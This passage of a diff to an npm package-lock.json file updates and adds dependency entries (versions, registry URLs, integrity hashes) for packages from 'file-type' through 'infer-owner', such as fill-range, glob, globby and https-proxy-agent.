"^3.0.4" } }, + "file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha512-Iq1nJ6D2+yIO4c8HHg4fyVb8mAJieo1Oloy1mLLaB2PvezNedhBVm+QU7g0qM42aiMbRXTxKKwGD17rjKNJYVQ==", + "dev": true + }, + "file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "dev": true + }, "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", "requires": { "to-regex-range": "^5.0.1" } @@ -5107,148 +16524,240 @@ "integrity": "sha512-8/sOawo8tJ4QOBX8YlQBMxL8+RLZfxMQOif9o0KUKTNTjMYElWPE0r/m5VNFxTRd0NSw8qSy8dajrwX4RYI1Hw==", "dev": true }, + "fn.name": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fn.name/-/fn.name-1.1.0.tgz", + "integrity": "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==", + "dev": true + }, + "foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "requires": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + } + }, + "form-data": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", + "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==", + "dev": true, + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + } + }, "fs-constants": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", "dev": true }, - "fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", - "dev": true - }, - "fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "fs-extra": { + "version": "11.3.2", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.2.tgz", + "integrity": "sha512-Xr9F6z6up6Ws+NjzMCZc6WXg2YFRlrLP9NQDO3VQrWrfiojdhS56TzueT88ze0uBdCTwEIhQ3ptnmKeWGFAe0A==", "dev": true, - "optional": true + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } }, - "fstream": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz", - "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==", + "fs-minipass": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", + "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" + "minipass": "^3.0.0" }, "dependencies": { - "rimraf": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", - "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", "dev": true, "requires": { - "glob": "^7.1.3" + "yallist": "^4.0.0" } } } }, - "function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", "dev": true }, - "functional-red-black-tree": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", - "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", + "fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "optional": true + }, + "function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", "dev": true }, "gauge": { - "version": "2.7.4", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", - "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", + "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==", "dev": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.3", + "console-control-strings": "^1.1.0", + "has-unicode": "^2.0.1", + "signal-exit": "^3.0.7", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wide-align": "^1.1.5" }, "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", "dev": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, - "requires": { - "number-is-nan": "^1.0.0" - } - }, - "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } } } }, + "geometry-interfaces": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/geometry-interfaces/-/geometry-interfaces-1.1.4.tgz", + "integrity": "sha512-qD6OdkT6NcES9l4Xx3auTpwraQruU7dARbQPVO71MKvkGYw5/z/oIiGymuFXrRaEQa5Y67EIojUpaLeGEa5hGA==", + "dev": true + }, "get-caller-file": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", "dev": true }, + "get-east-asian-width": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.3.1.tgz", + "integrity": "sha512-R1QfovbPsKmosqTnPoRFiJ7CF9MLRgb53ChvMZm+r4p76/+8yKDy17qLL2PKInORy2RkZZekuK0efYgmzTkXyQ==", + "dev": true + }, + "get-func-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz", + "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==", + "dev": true + }, "get-intrinsic": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", - "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "dev": true, + "requires": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + } + }, + "get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "dev": true, + "requires": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + } + }, + "get-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz", + "integrity": "sha512-AUGhbbemXxrZJRD5cDvKtQxLuYaIbNtDTK8YqupCI393Q2KSTreEsLUN3ZxAWFGiKTzL6nKuzfcIvieflUX9qA==", + "dev": true, + "requires": { + "object-assign": "^4.0.1", + "pinkie-promise": "^2.0.0" + } + }, + "get-tsconfig": { + "version": "4.8.1", + "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.8.1.tgz", + "integrity": "sha512-k9PN+cFBmaLWtVz29SkUoqU5O0slLuHJXt/2P+tMVFT+phsSGXGkp9t3rQIqdz0e+06EHNGs3oM6ZX1s2zHxRg==", "dev": true, "requires": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.1" + "resolve-pkg-maps": "^1.0.0" } }, "github-from-package": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", - "integrity": "sha1-l/tdlr/eiXMxPyDoKI75oWf6ZM4=", - "dev": true + "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==", + "dev": true, + "optional": true }, "glob": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", - "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-11.0.3.tgz", + "integrity": "sha512-2Nim7dha1KVkaiF4q6Dj+ngPPMdfvLJEOpZk/jKiUAkqKebpGAWQXAq9z1xu9HKu5lWfqw/FASuccEjyznjPaA==", "dev": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "foreground-child": "^3.3.1", + "jackspeak": "^4.1.1", + "minimatch": "^10.0.3", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^2.0.0" + }, + "dependencies": { + "jackspeak": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.1.1.tgz", + "integrity": "sha512-zptv57P3GpL+O0I7VdMJNBZCu+BPHVQUk55Ft8/QCJjTVxrnJHuVuX/0Bl2A6/+2oyR/ZMEuFKwmzqqZ/U5nPQ==", + "dev": true, + "requires": { + "@isaacs/cliui": "^8.0.2" + } + }, + "lru-cache": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.1.0.tgz", + "integrity": "sha512-QIXZUBJUx+2zHUdQujWejBkcD9+cs94tLn0+YL8UrCh+D5sCXZ4c7LaEH48pNwRY3MLDgqUFyhlCyjJPf1WP0A==", + "dev": true + }, + "minimatch": { + "version": "10.0.3", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.0.3.tgz", + "integrity": "sha512-IPZ167aShDZZUMdRk66cyQAW3qr0WzbHkPdMYa8bzZhlHhO3jALbKdxcaak7W9FfT2rZNpQuUu4Od7ILEpXSaw==", + "dev": true, + "requires": { + "@isaacs/brace-expansion": "^5.0.0" + } + }, + "path-scurry": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.0.tgz", + "integrity": "sha512-ypGJsmGtdXUOeM5u93TyeIEfEhM6s+ljAhrk5vAvSx8uyY/02OvrZnA0YNGUrPXfpJMgI1ODd3nwz8Npx4O4cg==", + "dev": true, + "requires": { + "lru-cache": "^11.0.0", + "minipass": "^7.1.2" + } + } } }, "glob-parent": { @@ -5261,47 +16770,64 @@ } }, "globals": { - "version": "13.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.12.0.tgz", - "integrity": "sha512-uS8X6lSKN2JumVoXrbUz+uG4BYG+eiawqm3qFcT7ammfbUHeCBoJMlHcec/S3krSk73/AE/f0szYFmgAA3kYZg==", + "version": "13.24.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", "dev": true, "requires": { "type-fest": "^0.20.2" } }, "globby": { - "version": "11.0.4", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.4.tgz", - "integrity": "sha512-9O4MVG9ioZJ08ffbcyVYyLOJLk5JQ688pJ4eMGLpdWLHq/Wr1D9BlriLQyL0E+jbkuePVZXYFj47QM/v093wHg==", + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-14.1.0.tgz", + "integrity": "sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA==", "dev": true, "requires": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.1.1", - "ignore": "^5.1.4", - "merge2": "^1.3.0", - "slash": "^3.0.0" + "@sindresorhus/merge-streams": "^2.1.0", + "fast-glob": "^3.3.3", + "ignore": "^7.0.3", + "path-type": "^6.0.0", + "slash": "^5.1.0", + "unicorn-magic": "^0.3.0" + }, + "dependencies": { + "ignore": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.4.tgz", + "integrity": "sha512-gJzzk+PQNznz8ysRrC0aOkBNVRBDtE1n53IqyqEf3PXrYwomFs5q4pGMizBMJF+ykh03insJ27hB8gSrD2Hn8A==", + "dev": true + } } }, - "graceful-fs": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", - "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==", + "gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", "dev": true }, - "growl": { - "version": "1.10.5", - "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", - "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", + "graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", "dev": true }, - "has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "handlebars": { + "version": "4.7.8", + "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz", + "integrity": "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ==", "dev": true, "requires": { - "function-bind": "^1.1.1" + "minimist": "^1.2.5", + "neo-async": "^2.6.2", + "source-map": "^0.6.1", + "uglify-js": "^3.1.4", + "wordwrap": "^1.0.0" } }, "has-flag": { @@ -5310,24 +16836,61 @@ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, - "has-symbols": { + "has-property-descriptors": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "requires": { + "es-define-property": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", "dev": true }, + "has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dev": true, + "requires": { + "has-symbols": "^1.0.3" + } + }, "has-unicode": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", + "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==", "dev": true }, + "hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dev": true, + "requires": { + "function-bind": "^1.1.2" + } + }, "he": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", "dev": true }, + "header-case": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/header-case/-/header-case-2.0.4.tgz", + "integrity": "sha512-H/vuk5TEEVZwrR0lp2zed9OCo1uAILMlx0JEMgC26rzyJJ3N1v6XkwHHXJQdR2doSjcGPM6OKPYoJgf0plJ11Q==", + "dev": true, + "requires": { + "capital-case": "^1.0.4", + "tslib": "^2.0.3" + } + }, "hosted-git-info": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", @@ -5337,6 +16900,12 @@ "lru-cache": "^6.0.0" } }, + "html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, "htmlparser2": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", @@ -5349,37 +16918,72 @@ "entities": "^2.0.0" } }, + "http-cache-semantics": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", + "dev": true + }, "http-proxy-agent": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", - "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", "dev": true, "requires": { - "@tootallnate/once": "1", - "agent-base": "6", - "debug": "4" + "agent-base": "^7.1.0", + "debug": "^4.3.4" } }, "https-proxy-agent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz", - "integrity": "sha512-EkYm5BcKUGiduxzSt3Eppko+PiNWNEpa4ySk9vTC6wDsQJW9rHSa+UhGNJoRYp7bz6Ht1eaRIa6QaJqO5rCFbA==", + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.5.tgz", + "integrity": "sha512-1e4Wqeblerz+tMKPIq2EMGiiWW1dIjZOksyHWSUm1rmuvw/how9hBHZ38lAGj5ID4Ik6EdkOw7NmWPy6LAwalw==", "dev": true, "requires": { - "agent-base": "6", + "agent-base": "^7.0.2", "debug": "4" } }, + "humanize-ms": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", + "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==", + "dev": true, + "requires": { + "ms": "^2.0.0" + } + }, + "husky": { + "version": "9.1.7", + "resolved": "https://registry.npmjs.org/husky/-/husky-9.1.7.tgz", + "integrity": "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA==", + "dev": true + }, + "iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "optional": true, + "requires": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + } + }, "ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - "dev": true + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" }, "ignore": { - "version": "5.1.9", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.9.tgz", - "integrity": "sha512-2zeMQpbKz5dhZ9IwL0gbxSW5w0NK/MSAMtNuhgIHEPmaU3vPdKPL0UdvUCXs5SS4JAwsBxysK5sFMW8ocFiVjQ==", + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.1.tgz", + "integrity": "sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==", + "dev": true + }, + "immediate": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", + "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", "dev": true }, "import-fresh": { @@ -5398,10 +17002,28 @@ "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true }, + "indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true + }, + "index-to-position": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz", + "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==", + "dev": true + }, + "infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", + 